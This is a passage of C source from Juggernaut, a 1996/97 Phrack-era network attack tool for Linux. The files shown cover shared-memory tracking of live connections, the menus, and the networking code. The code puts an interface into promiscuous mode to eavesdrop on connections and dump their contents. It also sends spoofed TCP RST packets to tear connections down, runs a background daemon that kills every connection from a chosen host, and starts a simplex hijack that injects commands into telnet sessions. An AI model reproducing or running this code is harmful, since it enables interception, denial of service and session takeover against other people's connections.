    	else break;
    }
    if(ntohs(target->dport)!=23){
    	fprintf(stderr,"Hijacking only valid with telnet connections.\n");
    	fprintf(stderr,"[cr]");
    	getchar();
    	return;
    }		
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
    fprintf(stderr,"\nNOTE: This will cause an ACK storm and desynch the client until the connection is RST.\n");
    signal(SIGINT,sputter);
    sigsentry=1;
    cspy(target,0);					
    sigsentry=1;
    chijack(target);
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  Prometheus wrapper (packet assembly workshop)
 */

void pkta(){

    void mpkta();
    void mwipe();
    int prometheus(int);
	
    int val,mode;
    char buf[MINIBUF];
  
    while(1){
        mwipe();
        mpkta();
        fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:                     /* TCP */
                mode=1;
	        break;		
	    case 2:                     /* UDP */
        	mode=2;
		break;		
	    case 3:                     /* ICMP */
            	mode=3;
		break;		
	    case 4:                     /* IP */
                mode=4;
	        break;		
	    case 5:                     /* Return */
	        return;
	    default:
	        continue;
        }
        if(prometheus(mode))break;
    }   			
	                                /* NOT REACHED */
}

<-->
<++> Juggernaut/NumberOneCrush/mem.c
/*
 *
 *                                  Juggernaut
 *                                  Version b1
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  mem.c - contains shared memory and semaphore control logic
 * 
 *  Multi-process:
 *  Initializing and accesing shared memory:
 *  ----------------------------------------
 *  - Create the shared segment
 *  - Attach each process to the segment (in our case, the hunter child 
 *    process will inherit a pointer to the block)
 *  - Grab a semaphore 
 *  - Lock the semaphore; Manipulate shared segment; unlock the semaphore 
 *
 *
 *  Multi-threaded:
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>

#define SHMKEY 242 	            /* Shared memory key */
#define SEMKEY 424 	            /* Semaphore key */
#define PERMS 0666                  /* Shared Memory Permissions */
#define MAXNODES 512		    /* Maximum number of nodes */
#define ADDMSG "+"
#define DELMSG "-"

int semid;                          /* Semaphore ID */

struct sembuf lock[2]={{0,0,0},{0,1,SEM_UNDO}};         
                                    /* wait for sem#0 to become 0 then 
                                       increment sem#0 by 1 */
struct sembuf ulock[1]={{0,-1,(IPC_NOWAIT|SEM_UNDO)}};  
                                    /* decrement sem#0 by 1 (sets it to 0) */

struct epack{                       /* Generic Ethernet packet w/o data payload */
    struct ethhdr eth;              /* Ethernet Header */
    struct iphdr ip;                /* IP header */
    struct tcphdr tcp;              /* TCP header */
    char payload[8192];             /* Data Payload */
}epack;

static struct connectionInfo{       /* Simple tuple structure */
    unsigned long saddr;            /* Source IP */
    unsigned long daddr;            /* Destination IP */
    unsigned short sport;           /* Source TCP Port */
    unsigned short dport;           /* Destination TCP Port */
}*cinfo=0;

extern int verbosity;

/*
 *  Creates the shared memory segment then attaches it; then creates a binary 
 *  semaphore to guarantee exclusive access.  Clears the structure array.
 *  Dumps some info.    
 *  Much credit to Richard Stevens and Jeff Thompson.
 */

void powerup(){
	
    void locks();
    void ulocks();
    void cleardb();

    int shmid;              	    /* Shared memory segment id */
    int len;
	
    len=sizeof(struct connectionInfo)*MAXNODES;

                                    /* Request a shared memory segment */
    if((shmid=shmget(SHMKEY,len,IPC_CREAT))<0){			
        if(verbosity)perror("(powerup) shared memory segment allocation error [fatal]");
        exit(1);
    }
                                    /* Get one semaphore to perform shared 
                                       memory locking with */
    if((semid=semget(SEMKEY,1,IPC_CREAT|PERMS))<0){        	
        if(verbosity)perror("(powerup) semaphore allocation error [fatal]");
	exit(1);        
    }
                                    /* Attach to the shared memory segment */
    cinfo=(struct connectionInfo *)shmat(shmid,0,0);		

    cleardb();
}

/*
 *  Release the shared memory segment.
 */

void powerdown(){

    void locks();
    void ulocks();

    locks();
    shmdt((char *)cinfo);           /* Dettach the segment. */
    ulocks();
}

/*
 *  Locks the semaphore so the caller can access the shared memory segment.  
 *  This is an atomic operation.
 */

void locks(){
    if(semop(semid,&lock[0],2)<0){
        if(verbosity)perror("(locks) could not lock semaphore [fatal]");
        exit(1);
    }
}
        
/*
 *  Unlocks the semaphore so the caller can access the shared memory segment. 
 *  This is an atomic operation.
 */

void ulocks(){
    if(semop(semid,&ulock[0],1)<0){
        if(verbosity)perror("(ulocks) could not unlock semaphore [fatal]");
        exit(1);
    }
}


/* 
 *  Add a connection to our list.  Linear search of the WHOLE list to see if 
 *  it's already there (which IT SHOULDN'T BE...), if not, add it in the
 *  first open slot.
 */

char *addc(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
    void locks();
    void ulocks();
        
    int i=0;        
			                /* A wonderfully inefficient linear 
                                           search for duplicates */

    locks();				/* Lock shared memory segment */
    for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
        ulocks();
	return(0);                      /* Opps.  Found a duplicate */
    }
        		                /* Find available slot */
    for(i=0;i<MAXNODES;i++){
	if(cinfo[i].saddr)continue;
	else{
	    cinfo[i].saddr=iphp->saddr;
	    cinfo[i].daddr=iphp->daddr;
	    cinfo[i].sport=tcphp->source;
            cinfo[i].dport=tcphp->dest;
            ulocks();
	    return(ADDMSG);
	}
    }			                /* Control falls here if array is 
                                           full (which is indicative of
                                           a BUSY NETWORK!@*/
    ulocks();
    return(0);		                
}


/* 
 *  Remove a connection from our list.  Linear search until we find a 
 *  correspoding entry, or we hit the end of the list.
 */

char *delc(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
        
    void locks();
    void ulocks();

    int i=0;        

    locks();                        /* Lock shared memory segment */
    for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
	bzero(&cinfo[i],sizeof(cinfo[i]));
	ulocks();
        return(DELMSG);		    /* Inform caller of success */
    }
    ulocks();
    return(0);		            /* hmm.  Wierd.   */
}


/* 
 *  Dump the connection list.
 */

float dumpc()
{
    void locks();
    void ulocks();
    char *hostLookup(unsigned long);

    int i=0;        
    float j=0;

    locks();
    for(;i<MAXNODES;i++)if(cinfo[i].saddr){
        fprintf(stderr,"(%d)\t %s [%d]\t-->\t %s [%d]\n",i+1,hostLookup(cinfo[i].saddr),ntohs(cinfo[i].sport),hostLookup(cinfo[i].daddr),ntohs(cinfo[i].dport));
        j++;
    }
    ulocks();
    if(!j)return(0);
    return(((j/MAXNODES)*100));     /* % utilization */
}


/* 
 *  Check for a connection by index number.  Really only here to make sure the
 *  connection hasn't been deleted since dump() was called....  I think I
 *  will deprecate this function in future versions...
 */
   
struct connectionInfo *checkc(target)
int target;
{       
    void locks();
    void ulocks();

    static struct connectionInfo tmp;
        
    locks();				    /* Lock shared memory segment */
    if(cinfo[--target].saddr){			
	memcpy(&tmp,&cinfo[target],sizeof(tmp));
	ulocks();
	return(&tmp);			
    }
    ulocks();				    /* Nope.  Not there */
    return((struct connectionInfo *)0);
}


/*
 *  Clear the connection database
 */

void cleardb(){

    void locks();
    void ulocks();

    int i=0;

    locks();
    for(;i<MAXNODES;i++)bzero(&cinfo[i],sizeof(cinfo[i]));
    ulocks();     
}
<-->
<++> Juggernaut/NumberOneCrush/menu.c
/*
 *
 *                                  Juggernaut
 *                                  Version b2
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 *
 *  menu.c - menu functions.
 * 
 */

#include <stdio.h>

extern char version[];

/*
 *  Initial Screen
 */

void minit(){
 
    printf("\t\t\t   J U G G E R N A U T\n");
    printf("\t\t    multipurpose network tool for Linux\n");
    printf("\t\t\t       version: %s\n",version);
    printf("\n\n\n\n\n\n");
    printf("\t  (c) 1996/7 daemon9 | A Guild Corporation Production\t\t\t\n");
    printf("\n\n\n\n\n\n");
}

/*
 *  Main Menu
 */

void mmain(){

    printf("\t\t\t           Juggernaut\n");
    printf("\t\t\t+------------------------------+\n");
    printf("\t\t\t?) Help\n");
    printf("\t\t\t0) Program information\n");
    printf("\t\t\t1) Connection database\n");
    printf("\t\t\t2) Spy on a connection\n");
    printf("\t\t\t3) Reset a connection\n");
    printf("\t\t\t4) Automated connection reset daemon\n");
    printf("\t\t\t5) Simplex connection hijack\n");
    printf("\t\t\t6) Interactive connection hijack\n");
    printf("\t\t\t7) Packet assembly module\n");
    printf("\t\t\t8) Souper sekret option number eight\n");
    printf("\t\t\t9) Step Down\n");
    printf("\n\n\n\n\n\n\n\n\n");
    printf(">");
}	

/*
 *  Packet Assembly Menu [prometheus module]
 */

void mpkta(){

    printf("\t\t\t     Packet Assembly Module (beta)\n");
    printf("\t\t\t+------------------------------+\n");
    printf("\t\t\t1. TCP Assembler\n");
    printf("\t\t\t2. UDP Assembler\n");
    printf("\t\t\t3. ICMP Assembler\n");
    printf("\t\t\t4. IP Assembler\n");
    printf("\t\t\t5. Return to previous menu\n");
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  TCP assembly options menu
 */

void mpktatcp(packetready,source,destination,seqnum,acknum,control,window,data)
int packetready;
unsigned short source;
unsigned short destination;
unsigned long seqnum;
unsigned long acknum;
char *control;
unsigned short window;
char data[512];
{

    printf("\t\t\t     TCP Packet Assembly\n");
    printf("\t\t\t+------------------------------+\n");
    if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
    else printf("\t\t\tSource port: %d\n",source);
    if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
    else printf("\t\t\tDestination port: %d\n",destination);
    if(!(packetready&0x04))printf("\t\t\t3. Sequence Number\n");
    else printf("\t\t\tSequence Number: %ld\n",seqnum);
    if(!(packetready&0x08))printf("\t\t\t4. Acknowledgement Number\n");
    else printf("\t\t\tAcknowledgement Number: %ld\n",acknum);
    if(!(packetready&0x10))printf("\t\t\t5. Control Bits\n");
    else printf("\t\t\tControl Flags: %s\n",control);
    if(!(packetready&0x20))printf("\t\t\t6. Window Size\n");
    else printf("\t\t\tWindow Size: %d\n",window);
    if(!(packetready&0x40))printf("\t\t\t7. Data Payload\n");
    else printf("\t\t\tData payload: %s\n",data);
    printf("\t\t\t8. Return to previous menu\n");
    printf("\t\t\t9. Return to main menu\n");
    if(packetready==0x7F)printf("\t\t\t10. Pass packet to RIP assembler\n");
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  UDP assembly options menu
 */

void mpktaudp(packetready,source,destination,data)
int packetready;
unsigned short source;
unsigned short destination;
char data[512];
{
    printf("\t\t\t     UDP Packet Assembly\n");
    printf("\t\t\t+------------------------------+\n");
    if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
    else printf("\t\t\tSource port: %d\n",source);
    if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
    else printf("\t\t\tDestination port: %d\n",destination);
    if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
    else printf("\t\t\tData payload: %s\n",data);
    printf("\t\t\t4. Return to previous menu\n");
    printf("\t\t\t5. Return to main menu\n");
    if(packetready==0x7)printf("\t\t\t6. Pass packet to RIP assembler\n");
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  ICMP assembly options menu
 */

void mpktaicmp(packetready,type,code,data)
int packetready;
unsigned short type;
unsigned short code;
char data[512];
{

    printf("\t\t\t     ICMP Packet Assembly\n");
    printf("\t\t\t+------------------------------+\n");
    if(!(packetready&0x01))printf("\t\t\t1. Type\n");
    else printf("\t\t\tType: %d\n",type);
    if(!(packetready&0x02))printf("\t\t\t2. Code\n");
    else printf("\t\t\tCode: %d\n",code);
    if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
    else printf("\t\t\tData payload: %s\n",data);
    printf("\t\t\t4. Return to previous menu\n");
    printf("\t\t\t5. Return to main menu\n");
    if(packetready==0x07)printf("\t\t\t6. Pass packet to RIP assembler\n");
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  IP assembly options menu
 */

void mpktaip(packetready,tos,fflags,fo,ttl,saddr,daddr,number,packettype)
int packetready;
char *tos;
char *fflags;
unsigned short fo;
unsigned short ttl;
char *saddr;
char *daddr;
int number;
char *packettype;
{

    printf("\t\t\t     IP Packet Assembly\n");
    printf("\t\t\t+------------------------------+\n");
    if(!(packetready&0x01))printf("\t\t\t1. TOS\n");
    else printf("\t\t\tTOS: %s\n",tos);
    if(!(packetready&0x02))printf("\t\t\t2. Fragment Flags\n");
    else printf("\t\t\tFragment flags: %s\n",fflags);
    if(!(packetready&0x04))printf("\t\t\t3. Fragment Offset\n");
    else printf("\t\t\tFragment offset: %d\n",(fo&0x1fff));
    if(!(packetready&0x08))printf("\t\t\t4. TTL\n");
    else printf("\t\t\tTTL: %d\n",ttl);
    if(!(packetready&0x10))printf("\t\t\t5. Source Address\n");
    else printf("\t\t\tSource Address: %s\n",saddr);
    if(!(packetready&0x20))printf("\t\t\t6. Destination Address\n");
    else printf("\t\t\tDestination Address: %s\n",daddr);
    if(!(packetready&0x40))printf("\t\t\t7. Number of packets to send\n");
    else printf("\t\t\tSending %d packet(s)\n",number);
    printf("\t\t\t8. Return to previous menu\n");
    printf("\t\t\t9. Return to main menu\n");
    if(packetready==0x7f)printf("\t\t\t10. Transmit %s packet(s)\n",packettype);
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  Clear the Screen
 */

void mwipe(){

    printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
}
<-->
<++> Juggernaut/NumberOneCrush/net.c
/*
 *
 *                                  Juggernaut
 *                                  Version b1
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  net.c - network/socket control code and abstract data types 
 * 
 *  In the interest of time overhead vs. code size, I created several functions
 *  that do much the same thing.  You will notice the reset and jack code is 
 *  quite redundant.  Life is rough like that.  Deal with it.  Also, there are 
 *  problems with freeing malloc'd memory.
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <arpa/inet.h>
#include <signal.h>
#include <string.h>
#include <setjmp.h>
#include <unistd.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/ioctl.h>

#define DEVICE "eth0"
#define ETHHDR  14
#define PHDR    12
#define TCPHDR  20
#define IPHDR   20
#define BUFSIZE 512
#define MINIBUF	10
#define RSTS	10	/* Number of RSTs to send when RSTing a connection */
#define JCKRST	3	/* You may wish to experiment with this value.  The 
			   smaller it is, your command have less time to 
			   complete on the target.  However, the ACK storm 
			   will also be much shorter... */
#define SNIFLOG "./juggernaut.log.snif"
					   
struct iphdr  *iphp;	    /* Pointer into current packets IP header */
struct tcphdr *tcphp;       /* Pointer into current packets TCP header */
struct ethhdr *ethhp;	    /* Pointer into current packets ethernet header */

			    /* Macro to align the pointers into the ethernet, 
                               IP, and TCP headers. */
#define ALIGNNETPOINTERS(){\
    ethhp=(struct ethhdr *)(((unsigned long)&epack.eth));\
    iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);\
    tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);\
}

struct epack{               /* Generic Ethernet packet w/o data payload */
    struct ethhdr eth;      /* Ethernet Header */
    struct iphdr ip;        /* IP header */
    struct tcphdr tcp;      /* TCP header */
    char payload[8192];	    /* Data Payload */
}epack;

struct connectionInfo{
    unsigned long saddr;    /* Source IP */
    unsigned long daddr;    /* Destination IP */
    unsigned short sport;   /* Source TCP Port */
    unsigned short dport;   /* Destination TCP Port */
};

jmp_buf env;		    /* To preserve our environment */
extern int verbosity;       /* Should we dump error messages? */

/*
 *  Creates a low level raw-packet socket and puts the device into promiscuous 
 *  mode.
 */

int tap(device)
char *device;
{
	
    int fd;				
    struct ifreq ifr;   /* Link-layer interface request structure */
                        /* Ethernet code for IP 0x800==ETH_P_IP */
    if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){	
        if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
        exit(1);					           
    }
    strcpy(ifr.ifr_name,device);				
    if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){    /* Get the device info */
        if(verbosity)perror("(tap) Can't get device flags [fatal]");
        close(fd);
      	exit(1);
    }
    ifr.ifr_flags|=IFF_PROMISC;	            /* Set promiscuous mode */
    if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
        if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
        close(fd);
	exit(1);
    }
    return(fd);
}


/*
 *  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
 *  kernels.  Not sure about 1.2.x
 */

int rawsock(){

    int fd,val=1;
    
    if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
        if(verbosity)perror("\n(rawsock) Socket problems [fatal]");
        exit(1);
    }  

#ifdef IP_HDRINCL
    if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0){  
	if(verbosity){
            perror("Cannot set IP_HDRINCL socket option");
	    fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]");
            getchar();
        }
    }
#endif

    return(fd);
}	


/*
 *  Hunter.  At this point, only cares about connection information (infant
 *  connections and tear-downs).  I should have it pass SEQ and ACK related
 *  info to the relevant functions...  This function will be forked to the
 *  backround as a seperate process, and in future versions it will be
 *  implemented as a seperate thread of execution.
 */
                 
void chunt(){

    void add(struct iphdr *,struct tcphdr *,struct ethhdr *);
    void del(struct iphdr *,struct tcphdr *);

    extern int linksock;		/* raw packet socket */
    
    ALIGNNETPOINTERS();
					/* No alarm timeout here.  We block forever until packets zing by */
    while(1)if(recv(linksock,&epack,sizeof(epack),0)){
        if(iphp->protocol==IPPROTO_TCP&&(tcphp->syn&&!tcphp->ack))add(iphp,tcphp,ethhp);
	if(iphp->protocol==IPPROTO_TCP&&(tcphp->rst||tcphp->fin))del(iphp,tcphp); 
    }
}

/*
 *  addc() wrapper.  Checks to make sure we want to add this connection to
 *  our list....  At this point, we'll take ftp control, ssh (well, we can
 *  RST them) telnet, smtp, http, rlogin, and irc.  
 */

void add(iphp,tcphp,ethhp)
struct iphdr *iphp;
struct tcphdr *tcphp;
struct ethhdr *ethhp;       /* Future Use */
{
    char *addc(struct iphdr *, struct tcphdr *);

    char *msg;

#ifdef GREED
    if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
#ifdef NOHUSH
    fprintf(stderr,"%c",7);
#endif    
    return;
#else
    switch(ntohs(tcphp->dest)){
        case 21:
        case 22:
        case 23:
        case 25:
        case 80:
        case 513:
        case 6667:
            if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
#ifdef NOHUSH
            fprintf(stderr,"%c",7);
#endif    
            return;
        default:
            return;
    }
#endif
}


/*
 *  delc() wrapper.  Checks connection port number to see if we should even
 *  bother passing to the delete function which will do a potentially expensive
 *  linear search...
 */

void del(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
    char *delc(struct iphdr *, struct tcphdr *);

    char *msg;

#ifdef GREED
    if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
    return;
#else
    switch(ntohs(tcphp->dest)){
        case 21:
        case 22:
        case 23:
        case 25:
        case 80:
        case 513:
        case 6667:
            if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
            return;
        default:
            return;
    }
#endif
}


/*
 *  Spy on a connection.  If the packet captured is from the target connection, 
 *  call dumpp().  If fp is valid, prepend header/append footer.
 */

void cspy(target,fp)
struct connectionInfo *target;
FILE *fp;
{

    char *hostLookup(unsigned long);
    void dumpp(char *,int,FILE *);

    extern int sigsentry;
    int tlinksock=tap(DEVICE);	/* Spying tap.  XXX- Really dumb way to do this... */
    time_t tp;

    ALIGNNETPOINTERS();
	
    fprintf(stderr,"Spying on connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
    if(fp){
        fprintf(fp,"---------------------------------------------------------------------\n: Juggernaut connection spy log header\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport));
        time(&tp);
        fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    }
		    /* NO alaram timeout here.  SIGINT kills our spy session */
    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);
	
    if(fp){
        fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport)









);
        time(&tp);
        fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    }
    close(tlinksock);
}


/*
 *  Dumps the payload.  Dump to file if we have a valid FP.
 */

void dumpp(payload,length,fp)
char *payload;
int length;
FILE *fp;
{
    register int tickytacky=0;
 
    for(;tickytacky<length;tickytacky++){
        fprintf(stderr,"%c",payload[tickytacky]);
	if(fp)fprintf(fp,"%c",payload[tickytacky]);
    }
	
}
 

/*
 *  RST both ends of a connection.  Listen for the client to send a packet so 
 *  we know where the seq/ack #s are and then spoof 10 RSTs to the client which
 *  will then send a RST to the other end when it recieves the legitimate
 *  response packet.
 */

void crst(target)
struct connectionInfo *target;
{

    void nettimeout();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);

    char *tempBuf=0;
    extern int ripsock;	
    extern int netreadtimeout;

    struct sockaddr_in sin;         
    
    struct tpack{               /* Generic TCP packet w/o payload */
        struct iphdr ip;
        struct tcphdr tcp;
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
 		
    static int moot=0;
    int tlinksock=tap(DEVICE);

    ALIGNNETPOINTERS();

    sin.sin_family=AF_INET;     /* Preload these values.  All we are really 
                                   waiting for are the seq/ack #s */
    sin.sin_port=target->dport;     
    sin.sin_addr.s_addr=target->saddr;

    bzero(&tpack,sizeof(tpack));    /* Zero out these structures so I dunot 
                                       have to assign 0's to the unused
                                       areas... */
    bzero(&ppheader,sizeof(ppheader));             

    tpack.tcp.source=target->dport;	    /* 16-bit Source port number */
    tpack.tcp.dest=target->sport;   	    /* 16-bit Destination port */
    tpack.tcp.doff=5;               	    /* Data offset */
    tpack.tcp.ack=1;                	    /* Acknowledgement field valid flag */
    tpack.tcp.rst=1;                	    /* Reset flag */
    tpack.tcp.window=htons(242);   	    /* 16-bit Window size */

    tpack.ip.version=4;             	    /* 4-bit Version */
    tpack.ip.ihl=5;                 	    /* 4-bit Header Length */
    tpack.ip.tot_len=htons(IPHDR+TCPHDR);   /* 16-bit Total length */
    tpack.ip.ttl=64;                	    /* 8-bit Time To Live */
    tpack.ip.protocol=IPPROTO_TCP;  	    /* 8-bit Protocol */

    tpack.ip.saddr=target->daddr;     	    /* 32-bit Source Address */
    tpack.ip.daddr=target->saddr;     	    /* 32-bit Destination Address */

    tempBuf=(char *)malloc(PHDR+TCPHDR);    /* Checksum stuff */
    ppheader=(struct psuedoHeader *)tempBuf;
    
    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->prot=IPPROTO_TCP;
    ppheader->null=0;
    ppheader->tlen=htons(TCPHDR);
 
    fprintf(stderr,"Reseting connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
 
    if(setjmp(env)){			    /* Timeout */
        if(verbosity)fprintf(stderr,"Quiet connection, not reset. [soft error, returning]\n");
	return;
    }
    signal(SIGALRM,nettimeout);
    alarm(netreadtimeout);                  /* Wait 10 seconds for reply */

    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->saddr&&tcphp->source==target->sport){

        for(;moot<RSTS;moot++){                /* Send RSTs, incrementing 
                                                seqs and acks as we go */
            tpack.tcp.seq=tcphp->ack_seq+(htonl(moot));
            tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));

            bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
            tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

	    sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
        }
	alarm(0);

        /*free(tempBuf);    XXX */
	fprintf(stderr,"Connection torn down.\n");
        close(tlinksock);
	break;
    }
}


/*
 *  Sets up automated connection reseting.  A source and possibly a 
 *  destination host are targeted for reseting.  This function will kill any 
 *  connection attempts from the source (and possibly to a destination).
 */

void acrst(source,target)
unsigned long source, target;
{

    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);
    void spasm();               /* Handles the user defined signal */

    struct tpack{                               
        struct iphdr ip;
        struct tcphdr tcp;
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
		
    struct sockaddr_in sin;
    
    int moot=0;
    extern int ripsock;	
    extern int acrstpid;
    char *tempBuf=0;
    int tlinksock=tap(DEVICE);

    switch((acrstpid=fork())){ 	/* Drop a child to backround, return the 
                                   parent to continue */
        case 0:                 /* Set the priority up a few notchs..  
                                   I get better results */
            if(setpriority(PRIO_PROCESS,0,-20)){
	        if(verbosity)perror("acrst module (setpriority)");
                fprintf(stderr,"[cr]");
                getchar();
            }
            signal(SIGUSR1,spasm);  /* Keep track of the child and register
                                       it with the cleanup signal handler */
            signal(SIGINT,SIG_IGN);         
            signal(SIGQUIT,SIG_IGN);
            break;
        default:
            return;                          
        case -1:
            if(verbosity)perror("acrst module Internal forking error [fatal]");
            exit(1);
    }

    ALIGNNETPOINTERS();
         				        /* Preload these values. */
    sin.sin_family=AF_INET;
       	
    bzero(&tpack,sizeof(tpack));
    bzero(&ppheader,sizeof(ppheader)); 
  
    tpack.tcp.doff=5;   
    tpack.tcp.ack=1;
    tpack.tcp.rst=1;
    tpack.tcp.window=htons(242);	

    tpack.ip.version=4; 
    tpack.ip.ihl=5;
    tpack.ip.tot_len=htons(IPHDR+TCPHDR); 
    tpack.ip.ttl=64;
    tpack.ip.protocol=IPPROTO_TCP; 

    tempBuf=(char *)malloc(PHDR+TCPHDR);
    ppheader=(struct psuedoHeader *)tempBuf;

    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;
    ppheader->tlen=htons(TCPHDR);
 	
    while(1){
        if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn&&iphp->saddr==source){
            if(target)if(iphp->daddr!=target)continue;

            sin.sin_port=tcphp->dest;     
            sin.sin_addr.s_addr=iphp->saddr;
   
            tpack.tcp.source=tcphp->dest;
            tpack.tcp.dest=tcphp->source;

            for(moot=1;moot<RSTS+1;moot++){     /* Send RSTs, incrementing 
                                               acks as we go */

                tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));

                tpack.tcp.check=0;              		
                tpack.ip.saddr=iphp->daddr; 
                tpack.ip.daddr=iphp->saddr;  
                tpack.ip.check=0;   
    
                ppheader->saddr=tpack.ip.saddr;	
                ppheader->daddr=tpack.ip.daddr;

                bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
                tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

	        sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
                fprintf(stderr,"%c-%c*",0x08,0x08);
            }
        }
    }
}

/*
 *  Simplex-hijack.  Really just inserts a command into the TCP stream.  This 
 *  will totally desynch the connection however and cause two things to happen:
 *  1) an ACK storm of epic proportions (maybe not, see accompanying paper) and
 *  2) the target user will have her connection destroyed.  To alleviate the 
 *  first problem, we simply reset the connection shortly after we hijack it. 
 *  The second problem is a burden with this kind of hijacking.
 */

void csimplexhijack(target,commandbuf)
struct connectionInfo *target;
char *commandbuf;
{

    void nettimeout();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);

    struct tpack{                   /* Generic TCP packet */
        struct iphdr ip;
        struct tcphdr tcp;
        char payload[BUFSIZE];
    }tpack;
   
   struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
  
    struct sockaddr_in sin;         

    extern int ripsock;	
